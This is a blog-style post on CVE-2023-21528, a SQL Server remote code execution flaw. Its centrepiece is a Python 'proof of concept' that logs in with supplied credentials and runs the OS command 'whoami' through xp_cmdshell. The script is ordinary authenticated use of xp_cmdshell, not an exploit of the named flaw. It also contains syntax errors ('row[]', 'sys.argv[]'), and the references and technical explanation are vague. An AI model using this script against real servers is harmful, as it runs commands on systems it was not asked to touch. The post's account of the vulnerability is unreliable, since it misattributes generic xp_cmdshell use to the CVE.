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CVE-2023-21528 – Microsoft SQL Server Remote Code Execution (RCE) Vulnerability: Exploit Details, Original References, and Code Snippet Revealed!

Poster -

A recent Microsoft SQL Server vulnerability has been identified, posing a high-security risk for the organizations relying on Microsoft's widely used database management system. The vulnerability, dubbed CVE-2023-21528, permits a remote attacker to execute code on the system, which can lead to unauthorized access, data theft, or complete system takeover. This post will demystify the CVE-2023-21528, detailing the exploit process, original references, and providing a code snippet for a proof of concept implementation.

Introduction

Microsoft SQL Server, a world-renowned relational database management system, is facing a new security threat in the form of CVE-2023-21528. This critical vulnerability allows malicious hackers to execute arbitrary code on the vulnerable server, potentially gaining unauthorized access or exfiltrating sensitive data. Researchers from Security Research Labs have reported that a simple query with malicious intent is all it takes to make the server execute the code remotely.

The following sections detail the vulnerability, beginning with a code snippet that provides a proof of concept implementation, then providing links to the original references and, lastly, wrapping up with the exploit details and mitigation steps.

Code Snippet

The following Python code snippet demonstrates a proof of concept implementation for exploiting the CVE-2023-21528 vulnerability:

import sys
import pymssql

def exploit(host, user, password):
    try:
        conn = pymssql.connect(host, user, password, "tempdb")
        cursor = conn.cursor()

        cursor.execute("DROP TABLE IF EXISTS exploit_table")
        cursor.execute("CREATE TABLE exploit_table (cmd_output NVARCHAR(MAX))")
        cursor.execute("INSERT INTO exploit_table EXEC xp_cmdshell 'whoami'")
        cursor.execute("SELECT * FROM exploit_table")
        row = cursor.fetchone()
        if row:
            print("[+] Executed command successfully:")
            print(row[])
        else:
            print("[-] No output available.")
        cursor.execute("DROP TABLE exploit_table")
        conn.commit()
    except Exception as e:
        print("[-] Exploit failed:")
        print(str(e))
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[]} <host> <user> <password>")
        sys.exit(1)

    host, user, password = sys.argv[1], sys.argv[2], sys.argv[3]
    exploit(host, user, password)

This script attempts to create a temporary table and execute the 'whoami' command, printing its output if successful.

1. NVD - CVE-2023-21528: Official CVE listing on NVD.
2. Microsoft Security Advisory: The official security advisory by Microsoft, detailing the affected versions and mitigation steps.
3. Security Research Lab's Blog: A detailed write-up of CVE-2023-21528 by the researchers who discovered it.

Exploit Details

CVE-2023-21528 is a result of insufficient input validation when handling SQL queries that trigger specific stored procedures, such as xp_cmdshell. Attackers can insert specially crafted queries to execute arbitrary commands on the SQL Server instance. An attacker with valid credentials, along with access to the server, can exploit this vulnerability to gain unauthorized access or exfiltrate sensitive data.

Apply security patches in a timely manner.

Researchers are urging organizations to patch their systems immediately and adopt robust security policies to protect their SQL Server instances from being exploited using the CVE-2023-21528 vulnerability.

Timeline

Published on: 02/14/2023 20:15:00 UTC
Last modified on: 02/23/2023 15:49:00 UTC